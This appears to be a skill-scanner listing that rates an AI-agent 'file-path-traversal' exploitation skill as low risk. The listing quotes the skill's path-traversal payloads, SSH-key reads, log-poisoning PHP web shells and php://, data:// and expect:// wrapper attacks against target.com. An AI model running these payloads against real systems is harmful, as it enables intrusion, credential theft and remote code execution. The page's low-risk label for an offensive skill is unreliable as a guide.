file-path-traversal

82 / 100 · Low risk

Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.

By sinhoneyy/master-skills (GitHub) · coding · 17 stars · scanned at commit 8e70b78

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a coding skill.

Found in 15 places.

skills/file-path-traversal/SKILL.md, line 72?file=
skills/file-path-traversal/SKILL.md, line 105../../../etc/passwd
skills/file-path-traversal/SKILL.md, line 127/etc/passwd

Show 12 more

skills/file-path-traversal/SKILL.md, line 144....//....//....//etc/passwd
skills/file-path-traversal/SKILL.md, line 161../../../etc/passwd%00.jpg
skills/file-path-traversal/SKILL.md, line 175/var/www/images/../../../etc/passwd
skills/file-path-traversal/SKILL.md, line 185..%c0%af..%c0%af..%c0%afetc/passwd
skills/file-path-traversal/SKILL.md, line 207/etc/passwd # User accounts
skills/file-path-traversal/SKILL.md, line 252C:\windows\win.ini
skills/file-path-traversal/SKILL.md, line 292ffuf -u "http://target.com/image?filename=FUZZ" \
skills/file-path-traversal/SKILL.md, line 306wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
skills/file-path-traversal/SKILL.md, line 322curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
skills/file-path-traversal/SKILL.md, line 336curl -A "<?php system('id'); ?>" \
skills/file-path-traversal/SKILL.md, line 348curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
skills/file-path-traversal/SKILL.md, line 370../../../etc/passwd

Sends data to these websites: target.com

This is disclosed by the author in the skill's SKILL.md or README.

Found in 11 places.

skills/file-path-traversal/SKILL.md, line 119curl "http://target.com/image?filename=../../../etc/passwd"
skills/file-path-traversal/SKILL.md, line 120curl "http://target.com/download?file=....//....//....//etc/passwd"
skills/file-path-traversal/SKILL.md, line 322curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

Show 8 more

skills/file-path-traversal/SKILL.md, line 325curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
skills/file-path-traversal/SKILL.md, line 329curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
skills/file-path-traversal/SKILL.md, line 336curl -A "<?php system('id'); ?>" \
skills/file-path-traversal/SKILL.md, line 340curl -A "<?php system(\$_GET['c']); ?>" \
skills/file-path-traversal/SKILL.md, line 348curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
skills/file-path-traversal/SKILL.md, line 351curl -X POST -d "<?php system('id'); ?>" \
skills/file-path-traversal/SKILL.md, line 355curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
skills/file-path-traversal/SKILL.md, line 358curl "http://target.com/page?file=expect://id"

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

skills/file-path-traversal/SKILL.md, line 215/root/.ssh/id_rsa # Root private key
skills/file-path-traversal/SKILL.md, line 217/home/<user>/.ssh/id_rsa # User private keys

Other copies in this repository

sinhoneyy/master-skills has 1 more folder with a skill named file-path-traversal. This page shows the lowest-scoring copy.

plugins/master-skills-backend-engineer/skills/file-path-traversal 82/100 · Low risk

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'file-path-traversal' ] || [ -L ~/.agents/skills/'file-path-traversal' ]; then echo 'A skill folder named file-path-traversal already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/sinhoneyy/master-skills' "$d" && git -C "$d" checkout --quiet '8e70b780359915a1f197ca37a1add2d4016115a2' -- 'skills/file-path-traversal' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/file-path-traversal' ~/.agents/skills/'file-path-traversal' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'file-path-traversal' ~/.claude/skills/'file-path-traversal' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for sinhoneyy/master-skills shows the score of its lowest-scoring skill.

SkillTrust badge for sinhoneyy/master-skills

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/sinhoneyy/master-skills.svg)](https://zalavijaysinh.github.io/skilltrust/repos/sinhoneyy/master-skills/)

Score history

Date	Version	Score
2026-11-09	`8e70b78`	82